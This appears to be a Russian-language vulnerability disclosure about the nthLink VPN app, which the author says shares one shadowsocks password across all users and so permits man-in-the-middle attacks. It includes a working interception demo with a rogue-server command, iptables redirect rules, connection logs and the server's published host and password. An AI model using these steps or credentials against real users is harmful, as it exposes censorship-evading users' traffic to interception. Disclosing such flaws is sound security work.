Заметка о nthLink VPN, его внутренностях и его катастрофическом провале в криптографии. Почему это может быть важно:
Некоторые люди могут полагаться на несуществующие гарантии безопасности, обещанные этим приложением. Этот продукт в особенности претендует на обход цензуры, очерчивая свой главный сценарий использования. В этом сценарии использования нарушение конфиденциальности угрожает привести пользователя к непреднамеренному раскрытию данных цензору, которые должны были быть спрятаны VPN-соединением.
Другие подобные приложения, использующие одни и те же инсталляции shadowsocks для множества разных пользователей, могут так же иметь эту проблему. Вообще этот протокол всё ещё подходит только для персонального применения, а не для публичных сервисов с множеством пользователей.
Также эта заметка может заинтересовать людей, которые хотели бы знать, как работают подобные приложения внутри.
О nthLink VPN
Интересные факты о продукте.
Перевод
Важнее всего, оно [приложение] использует сильное шифрование, чтобы защитить поток информации между потребителем и источником.
Ещё заявления о безопасности:
Перевод
Не позволяет цензорам производить инспекцию содержимого/пакетов.
Дважды прошли аудит безопасности:
Перевод
Аудиты безопасности - два аудита безопасности проводились над nthLink в 2019 и 2020 годах компанией Cure53 - независимой организацией, специализирующейся в цифровой безопасности, которая проверяет ПО в соответствии с последними стандартами безопасности.
Выдержки из отчётов аудита:
"В этом заключении стоит заметить, что для этого проекта [аудита] использовалась модель довольно сильного атакующего."
"Проводившийся в октябре и ноябре 2020, этот проект [аудита] сосредотачивает внимание на приложении nthLink VPN для Android, iOS и, вдобавок, для Windows, и соответственно на их безопасности и отношение к конфиденциальности конечных пользователей."
"Cure53 завершили верификацию исправлений, последовавших за пентестом и аудитом исходного кода в конце ноября 2020. Команда Cure53 смогла проверить все исправления, которые были представлены командой nthLink. Это значит, что все относящиеся к делу и попадающие в рамки находки, обнаруженные Cure53 в пентесте и аудите исходного кода NTH-02, теперь успешно исправлены, и исправления успешно устраняют найденные уязвимости."
Вы можете запросить отчёты аудита, как и модели угроз, связавшись с командой поддержки nthLink.
Интересно, что отчёт об аудите не сделан публичным, а обещан быть предоставлен по запросу. В чём проблема опубликовать его? В любом случае, в свете представленных здесь находок, можно смело предполагать, что аудит Cure53 либо бесполезен, либо его темой была инфраструктура/вебсайт, а не само приложение.
Приложение заявлено как имеющее открытый исходный код, покуда ваше письмо с запросом исходного кода не угодит в папку для спама:
Перевод
Пожалуйста, свяжитесь с командой поддержки nthLink, чтобы запросить доступ к исходному коду nthLink.
Внутренности приложения
Приложение делает вид, что работает как VPN для всей системы, но на самом деле это просто прокси-клиент shadowsocks. Оно использует badvpn tun2socks (или похожую программу), чтобы перенаправлять все TCP- и UDP-сессии в соединение shadowsocks, которое технически не является VPN.
Несмотря на то, что исходный код не опубликован и не легкодоступен, было тривиально извлечь его из приложения для Windows на электроне. JS-код может быть распакован просто командой npx asar extract
. Здесь есть полное руководство по этой теме.
Анализ исходного кода показал, что алгоритм получения реквизитов для подключения грубо можно описать следующим образом:
Вычислить текущий домен API на основании некоего зерна домена, заданного конфигурацией домена верхнего уровня и текущей даты.
Если этот домен недоступен, то откатиться к заданному жёстко домену на AWS S3.
Сделать запрос на получение тела конфигурации.
Тело конфигурации содержит подпись (RSA-SHA256 PKCSv15). Проверить её.
Расшифровать окончательный JSON с реквизитами подключения, зашифрованными с помощью AES256-CTR. Статический ключ шифрования захардкожен. Также эта конфигурационная полезная нагрузка содержит самые актуальные настройки для вычисления домена API: зерно домена и домен верхнего уровня.
Я сделал альтернативный клиент API, который выполняет эти шаги и позволяет получить обычные реквизиты для подключения к серверу shadowsocks, которые подходят к любому ванильному (обычному) клиенту shadowsocks.
Но вот какая проблема. Все криптографические ключи в shadowsocks получаются из общего пароля, который одинаково задан на клиенте и сервере. Следовательно, если все клиенты знают симметричный общий ключ (SPSK), они могут использовать его для атаки "человек посередине" на других клиентов того же сервера. Это катастрофический провал в криптографии, который уничтожает безопасность протокола.
Демо? Демо!
Продемонстрируем, что кто угодно может видеть и вмешиваться в трафик, защищённый приложением nthLink.
Установка приложения и подключение
Последнее приложение nthLink - это приложение nthLink для Android версии 5.1.0, выпущенное 1 апреля 2021.
Установлено и подключено:
Подключение проверено. IP-адрес сменился на IP-адрес сервера nthLink:
Мошеннический сервер shadowsocks
IP-адресом жертвы в сети является 192.168.1.65. Нам нужно перенаправить для него трафик к shadowsocks-серверам nthLink на наш поддельный shadowsocks-сервер.
На линуксовом шлюзе (роутере) соберём список http-подобных соединений от устройства-жертвы:
fgrep 192.168.1.65 /proc/net/nf_conntrack | fgrep dport=443 | fgrep ESTABLISHED
И с другой стороны будем запускать nth-dump, пока не появится адрес из собранного списка соединений.
Name: nthLink Server
Host: 68.183.72.121
Port: 443
Method: chacha20-ietf-poly1305
Password: 2djK1R9egUBi
URL: ss://Y2hhY2hhMjAtaWV0Zi1wb2x5MTMwNToyZGpLMVI5ZWdVQmk=@68.183.72.121:443#nthLink%20Server
Теперь мы смогли соотнести соединения с сервером nthLink и реквизитами для подключения к нему. Запустим наш мошеннический сервер shadowsocks. Для этой цели я использую сервер go-shadowsocks2:
./shadowsocks2-linux-arm -s 'ss://AEAD_CHACHA20_POLY1305:2djK1R9egUBi@:443' -verbose
Наконец, перенаправим трафик жертвы на наш мошеннический сервер shadowsocks:
iptables -t nat -I PREROUTING -m tcp -p tcp -s 192.168.0.0/16 -d 68.183.72.121 --dport 443 -j REDIRECT --to 443
iptables -t nat -I PREROUTING -m udp -p udp -s 192.168.0.0/16 -d 68.183.72.121 --dport 443 -j REDIRECT --to 443
Перехват трафика достигнут
Смотрим в логи go-shadowsocks2:
2022/08/24 23:24:46 tcp.go:137: proxy 192.168.1.65:46868 <-> 108.177.119.94:443
2022/08/24 23:24:49 tcp.go:137: proxy 192.168.1.65:46882 <-> 142.250.203.142:443
2022/08/24 23:24:49 tcp.go:137: proxy 192.168.1.65:46890 <-> 172.217.18.3:443
2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46900 <-> 142.250.185.109:443
2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46908 <-> 142.250.184.228:443
2022/08/24 23:25:06 tcp.go:137: proxy 192.168.1.65:46914 <-> 142.250.185.67:443
2022/08/24 23:25:07 tcp.go:137: proxy 192.168.1.65:46920 <-> 34.160.111.145:443
2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46930 <-> 8.8.4.4:443
2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46936 <-> 8.8.8.8:443
2022/08/24 23:25:09 tcp.go:137: proxy 192.168.1.65:46944 <-> 8.8.8.8:443
2022/08/24 23:25:14 tcp.go:137: proxy 192.168.1.65:46952 <-> 172.217.20.202:443
2022/08/24 23:25:42 tcp.go:137: proxy 192.168.1.65:46966 <-> 149.154.167.50:443
2022/08/24 23:25:46 tcp.go:139: relay error: read tcp 46.250.2.79:60350->44.192.201.202:4244: read: connection reset by peer
2022/08/24 23:25:47 tcp.go:137: proxy 192.168.1.65:46972 <-> 44.192.201.202:443
2022/08/24 23:26:18 tcp.go:137: proxy 192.168.1.65:46980 <-> 216.58.215.99:443
2022/08/24 23:27:50 tcp.go:137: proxy 192.168.1.65:46986 <-> 149.154.167.50:443
2022/08/24 23:28:11 tcp.go:137: proxy 192.168.1.65:46992 <-> 149.154.167.50:443
2022/08/24 23:28:34 tcp.go:137: proxy 192.168.1.65:46998 <-> 149.154.167.50:443
Как видно, соединения успешно перенаправляются и наш сервер shadowsocks понимает и выполняет запросы.
Подтвердим перенаправление обратно на мой домашний IP-адрес, даже с включённым VPN:
Мы могли бы снова направить трафик на серверы nthLink после инспекции, чтобы всё выглядело как обычно, но для целей демо нам наоборот нужно сделать это более явно, а не скрытно.
Наконец, снимем трафик с помощью tcpdump -i any -nvvs0 'dst port 443' -w hs.cap
, чтобы показать, что мы видим трафик так же, как без VPN вовсе. Перехваченное рукопожатие TLS в анализаторе PCAP-дампов пакетов Wireshark:
olegtsss
Если симметричный ключ известен, то можно просто расшифровывать трафик на любом промежуточном звене, даже без MitM?
YourChief Автор
Непонятно, я пока так и не понял, откуда соль берётся: https://shadowsocks5.github.io/en/spec/AEAD-Ciphers.html
Barnaby
В конце написано что рандомная и открытая, при TCP передается первой, при UDP с каждым пакетом. Похоже, что можно расшифровывать трафик.